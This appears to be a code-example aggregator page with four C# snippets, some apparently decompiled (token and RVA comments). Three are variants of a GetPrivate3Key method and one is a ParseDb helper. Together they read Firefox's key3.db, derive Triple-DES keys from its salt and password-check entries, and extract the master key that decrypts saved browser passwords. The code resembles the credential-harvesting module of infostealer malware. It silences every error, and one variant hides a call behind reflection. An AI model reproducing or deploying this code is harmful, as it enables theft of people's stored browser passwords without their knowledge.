Пример #1
0
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string        hexString     = ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         geckoPasswordBasedEncryption.Init();
         TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck));
         Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         geckoPasswordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length <= 24)
         {
             array = asn1Object2.Objects[0].Objects[3].ObjectData;
             return(array);
         }
         Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         return(array);
     }
     catch
     {
         return(array);
     }
 }
Пример #2
0
 // Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         MethodInfo method = typeof(Array).GetMethod("Copy", new Type[]
         {
             typeof(Array),
             typeof(int),
             typeof(Array),
             typeof(int),
             typeof(int)
         });
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string        hexString     = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         geckoPasswordBasedEncryption.Init();
         TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
         Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         geckoPasswordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             method.Invoke(null, new object[]
             {
                 asn1Object2.Objects[0].Objects[3].ObjectData,
                 asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24,
                 array,
                 0,
                 24
             });
         }
         else
         {
             array = asn1Object2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch
     {
     }
     return(array);
 }
Пример #3
0
        private static string ParseDb(GeckoDatabase berkeleyDB, Func <string, bool> predicate)
        {
            string empty = string.Empty;

            try
            {
                foreach (KeyValuePair <string, string> key in berkeleyDB.Keys)
                {
                    if (predicate(key.Key))
                    {
                        empty = key.Value;
                    }
                }
            }
            catch
            {
            }
            return(empty.Replace("-", string.Empty));
        }
Пример #4
0
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] numArray = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(numArray);
         }
         DataTable     dataTable     = new DataTable();
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check"))));
         string        db            = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt")));
         GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         passwordBasedEncryption1.Init();
         TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
         Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x =>
         {
             if (!x.Equals("password-check") && !x.Equals("Version"))
             {
                 return(!x.Equals("global-salt"));
             }
             return(false);
         }))));
         GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         passwordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24);
         }
         else
         {
             numArray = asn1Object2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch
     {
     }
     return(numArray);
 }